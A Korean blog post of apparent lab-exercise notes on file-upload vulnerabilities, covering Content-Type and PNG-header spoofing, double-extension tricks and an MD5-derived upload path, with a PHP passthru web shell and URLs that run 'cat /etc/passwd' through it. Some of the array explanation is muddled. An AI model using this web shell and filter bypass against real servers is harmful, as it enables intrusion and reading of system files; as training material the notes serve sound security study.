파일업로드 취약점,소스코드공개될때 가능한취약점

Web hacking|2020. 12. 1. 11:18

(참고) 모든 연습 사이트는 보면서 이런방법이있다고 알아만둬라 .언젠가 쓸일이있다

일단

프록시를 잡는다

192.168.0.10/upload1

파일을 선택한뒤

이런식으로 만든파일을

upload를해본다

이런식의 파일을 넣고 실행해본다.

webshell.php 업로드

이미지파일이 아니라서 이게안된다고할떄

content-Type: image/png로

바꾸면가능하다.

이미지 파일형식으로 버프수트로 변경하여

입력을한것이다.

---------------------------------------------

192.168.0.10/upload2/

png라고말해주는 헤더가있다.

19줄은 실제 데이터가아니고 21번부터가 실제 데이터이다.

본체가뭔지알려주는 시그니쳐 라고생각을하면된다

png파일의헤더를 복사한다.

‰PNG

위에이것이다.

이렇게되있는 php파일을 (php파일은 아까위에서 만든파일이다)

content-Type밑에

‰PNG

(png파일의 헤더를 넣어준다)

----------------------------------------

http://192.168.0.200/

2번

웹쉘

사용자의 명령을 받아서 서버 명령 실행.

<?php

passthru(&_GET['cmd']);

?>

이러한 웹쉘을 만든다.

http://192.168.0.200/lab2/upload_check.source

192.168.0.200 의 소스

&Filename =webshell.php

explode = 문자열을 자르는 함수

"." => . 으로 분리

webshell 과 php 로 분리된다.

배열[] wepshell php

0 1

배열[0] = webshell

배열[1] = php

FileNameElements[] = webshell php jpg

0 1

FileNameElements[0] = webshell

FileNameElements[1] = php

FileNameElements[2] = php

FileExt = php

FileExt=FileNameElements[1]=jpg

-----------------------------------------------

FileExt=FileNameElements[-1]= php

----------------------------------------------

-1을 넣으면 제일 마지막에있는 결과값을 가져오기떄문에

원래는 jpg를 불러오는것이 php를 불러오게 한다

php파일을보고 알수있다 www.jpg.php 이러면 php로 실행이되는것을

파일 이름을 수정.,

변조 제외 폴더 추가.

안되면 여기서 제외추가

----------------------------------------------------------------------------------

----------------------------------

소스 파일을 볼수있다는 가정하에 진행이되는 것이다

http://192.168.0.200/lab2

이파일의 소스코드파일을본뒤에

Next

파일을 해쉬값으로 변환하고

38498A93F7C36F9FDBC5259CEA122A04

해쉬값을

무조건 소문자로변경

38498a93f7c36f9fdbc5259cea122a04

이소스 코드 파일을 본뒤에

이러한양식으로만든다

&FilePath = &DirectoryPath/md5(&FileName)_&FileName

&DirectoryPath = no name

md5(&FileName)=38498a93f7c36f9fdbc5259cea122a04

&FileName=mal.txt.php

&FilePath =noname/38498a93f7c36f9fdbc5259cea122a04_mal.txt.php

소스코드의 dir은 no name 이니까

&FilePath =noname/38498a93f7c36f9fdbc5259cea122a04_mal.txt.php이것을

조합하여

내가원하는 명령어를 뒤에입력한다.

noname/38498a93f7c36f9fdbc5259cea122a04_mal.txt.php?cmd=ifconfig

noname/38498a93f7c36f9fdbc5259cea122a04_mal.txt.php?cmd=cat /etc/passwd

http://192.168.0.200/lab2/noname/38498a93f7c36f9fdbc5259cea122a04_mal.txt.php?cmd=ifconfig

http://192.168.0.200/lab2/noname/38498a93f7c36f9fdbc5259cea122a04_mal.txt.php?cmd=cat /etc/passwd

이런식으로 웹의 내부를 볼수있다

댓글()